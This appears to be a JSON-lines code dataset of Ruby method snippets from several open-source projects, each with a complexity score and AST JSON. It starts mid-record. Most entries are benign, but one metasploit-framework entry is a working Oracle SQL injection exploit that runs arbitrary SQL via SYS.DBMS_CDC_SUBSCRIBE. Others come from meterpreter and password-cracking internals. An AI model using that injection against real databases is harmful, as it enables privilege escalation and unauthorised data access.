end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_expressions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"expressions\"]},{\"type\":\"arg\",\"children\":[\"insert_position\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil?\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"inserted_expression\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"expression\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_type?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"then?\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_by_whole_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"source_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_final_newline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_expression\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"assignment?\"]},{\"type\":\"send\",\"children\":[null,\"correct_assignment\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"insert_position\"]}]},{\"type\":\"send\",\"children\":[null,\"correct_no_assignment\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"insert_position\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inserted_expression\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"696459cc-7de0-4ccb-8bae-64b3fce8b3d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb","start_line":48,"raw_source":"def run\n    return if !check_dependencies\n\n    name = Rex::Text.rand_text_alpha(1..10)\n\n    function = \"\n      create or replace function #{datastore['DBUSER']}.#{name} return varchar2\n      authid current_user is pragma autonomous_transaction;\n      begin\n      execute immediate '#{datastore['SQL']}';\n      return '';\n      end;\n      \"\n\n    injection = \"\n      begin\n        sys.dbms_cdc_subscribe.activate_subscription('''||#{datastore['DBUSER']}.#{name}()||''');\n      end;\n    \"\n\n    clean = \"drop function #{name}\"\n\n    print_status('Sending function...')\n    prepare_exec(function)\n\n    begin\n      print_status('Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...')\n      prepare_exec(injection)\n    rescue ::OCIError => e\n      vprint_error(e.message)\n    ensure\n      print_status(\"Removing function '#{name}'...\")\n      prepare_exec(clean)\n    end\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_dependencies\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"function\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      create or replace function \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBUSER\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" return varchar2\\n\"]},{\"type\":\"str\",\"children\":[\"      authid current_user is pragma autonomous_transaction;\\n\"]},{\"type\":\"str\",\"children\":[\"      begin\\n\"]},{\"type\":\"str\",\"children\":[\"      execute immediate '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SQL\"]}]}]},{\"type\":\"str\",\"children\":[\"';\\n\"]},{\"type\":\"str\",\"children\":[\"      return '';\\n\"]},{\"type\":\"str\",\"children\":[\"      end;\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"injection\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      begin\\n\"]},{\"type\":\"str\",\"children\":[\"        sys.dbms_cdc_subscribe.activate_subscription('''||\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DBUSER\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"()||''');\\n\"]},{\"type\":\"str\",\"children\":[\"      end;\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clean\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"drop function \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending function...\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"function\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"injection\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OCIError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing function '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_exec\",{\"type\":\"lvar\",\"children\":[\"clean\"]}]}]}]}]}]}]}","id":"790ddc42-44d7-4f68-9ea3-2607573dcd47"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/client_core.rb","start_line":140,"raw_source":"def transport_list\n    request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_LIST)\n    response = client.send_request(request)\n\n    result = {\n      :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),\n      :transports  => []\n    }\n\n    response.each(TLV_TYPE_TRANS_GROUP) { |t|\n      result[:transports] << {\n        :url            => t.get_tlv_value(TLV_TYPE_TRANS_URL),\n        :comm_timeout   => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),\n        :retry_total    => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),\n        :retry_wait     => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),\n        :ua             => t.get_tlv_value(TLV_TYPE_TRANS_UA),\n        :proxy_host     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),\n        :proxy_user     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),\n        :proxy_pass     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),\n        :cert_hash      => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),\n        :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)\n      }\n    }\n\n    result\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transport_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_CORE_TRANSPORT_LIST\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_exp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_SESSION_EXP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transports\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_GROUP\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"transports\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_URL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comm_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_COMM_TIMEOUT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry_total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_RETRY_TOTAL\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry_wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_RETRY_WAIT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_UA\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_PROXY_HOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_PROXY_USER\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_PROXY_PASS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cert_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_CERT_HASH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_TRANS_HEADERS\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"93d6eeb6-ea5b-465c-bbc9-aa125f9cb407"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/services/boards/version_board_create_service.rb","start_line":17,"raw_source":"def column_count_for_board\n      [super, versions(params).count].max\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"column_count_for_board\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"count\"]}]},\"max\"]}]}","id":"7a00bc1a-b34a-4bc1-8b3f-de17edeae7f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1845,"raw_source":"def short_website_url\n    website_url.sub(%r{\\Ahttps?://}, '')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"short_website_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"website_url\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Ahttps?://\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"88be71bd-81df-4972-bfcb-6e18746b59fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/wordlist.rb","start_line":413,"raw_source":"def generate_mutation_keys\n          iterations = MUTATIONS.keys.dup\n\n          # Find PowerSet of all possible mutation combinations\n          iterations.inject([[]]) do |accumulator,mutation_key|\n            power_set = []\n            accumulator.each do |i|\n              power_set << i\n              power_set << i+[mutation_key]\n            end\n            power_set\n          end\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_mutation_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MUTATIONS\"]},\"keys\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterations\"]},\"inject\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"accumulator\"]},{\"type\":\"arg\",\"children\":[\"mutation_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"power_set\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accumulator\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"power_set\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"power_set\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mutation_key\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"power_set\"]}]}]}]}]}","id":"a9074915-f372-4368-b340-375470728e66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/sequence_database_adapter.rb","start_line":28,"raw_source":"def start_value\n            query_result['start_value']\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"start_value\"]}]}]}","id":"e17edd2f-e919-4d96-9f37-79ca1b2db645"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/menus/bim/menu.rb","start_line":53,"raw_source":"def query_path(query_params)\n      bcf_project_frontend_path(project, query_params)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"send\",\"children\":[null,\"bcf_project_frontend_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}","id":"b20b76ee-4522-4d9a-8c3a-f8a9c236677c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/resource_generator_test.rb","start_line":79,"raw_source":"def test_plural_names_can_be_forced\n    content = run_generator [\"accounts\", \"--force-plural\"]\n    assert_file \"app/models/accounts.rb\", /class Accounts < ApplicationRecord/\n    assert_file \"test/models/accounts_test.rb\", /class AccountsTest/\n    assert_no_match(/\\[WARNING\\]/, content)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_plural_names_can_be_forced\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"accounts\"]},{\"type\":\"str\",\"children\":[\"--force-plural\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/accounts.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class Accounts < ApplicationRecord\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/models/accounts_test.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class AccountsTest\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[WARNING\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"dc472951-ee9f-44cc-87ec-31711ae20cd8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/relation_export_service.rb","start_line":57,"raw_source":"def upload_compressed_file(export)\n      compressed_file = File.join(export_path, \"#{export_service.exported_filename}.gz\")\n\n      upload = ExportUpload.find_or_initialize_by(export_id: export.id) # rubocop: disable CodeReuse/ActiveRecord\n\n      File.open(compressed_file) { |file| upload.export_file = file }\n\n      upload.save!\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_compressed_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compressed_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"export_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"export_service\"]},\"exported_filename\"]}]},{\"type\":\"str\",\"children\":[\".gz\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExportUpload\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"export_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"export\"]},\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"compressed_file\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"export_file=\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"save!\"]}]}]}","id":"29a89ec6-056a-47ce-b9a6-fb6fca03379e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/20241022092741_remove_new_ultimate_trial_plan_from_community_edition_plans_spec.rb","start_line":73,"raw_source":"def new_plan\n    plans.find_by(name: plan_name)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"new_plan\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plans\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"plan_name\"]}]}]}]}]}","id":"a821ce46-dfa1-40a1-a04f-42fe3d35cb4e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_pack/shared_serializer_tests.rb","start_line":162,"raw_source":"def dump(object)\n      serializer.dump(object)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serializer\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"d5d3a40b-f4b6-4c57-a382-9abb30b7c7c5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/autocorrect_logic.rb","start_line":135,"raw_source":"def max_line_length\n        config.for_cop('Layout/LineLength')['Max'] || 120\n      end","complexity_score":5.18,"ast_json":"{\"type\":\"def\",\"children\":[\"max_line_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Layout/LineLength\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Max\"]}]},{\"type\":\"int\",\"children\":[120]}]}]}","id":"b19d8730-82a6-415f-bb7c-541bc5311741"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/io/gram_server.rb","start_line":33,"raw_source":"def dispatch_request(client, data)\n    if (dispatch_request_proc)\n      dispatch_request_proc.call(client, data)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dispatch_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dispatch_request_proc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dispatch_request_proc\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]}","id":"23535522-5f56-4c90-ab51-bb5d081258b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/pac/krb5_pac.rb","start_line":660,"raw_source":"def decrypt_serialized_data(key)\n      encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(self.encryption_type)\n      decrypted_serialized_data = encryptor.decrypt(\n        self.serialized_data.to_binary_s,\n        key,\n        Rex::Proto::Kerberos::Crypto::KeyUsage::KERB_NON_KERB_SALT\n      )\n      Krb5SerializedPacCredentialData.read(decrypted_serialized_data)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_serialized_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encryptor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"from_etype\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"encryption_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted_serialized_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encryptor\"]},\"decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialized_data\"]},\"to_binary_s\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"KeyUsage\"]},\"KERB_NON_KERB_SALT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Krb5SerializedPacCredentialData\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"decrypted_serialized_data\"]}]}]}]}","id":"33346848-f8fc-44aa-b53d-5a340475d6d7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/reports/team_summary_builder.rb","start_line":13,"raw_source":"def reporting_events\n    @reporting_events ||= account.reporting_events.where(created_at: range).joins(:conversation)\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reporting_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reporting_events\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"reporting_events\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"range\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"conversation\"]}]}]}]}","id":"e632aed8-9966-4001-ad9b-26e0b1266472"}
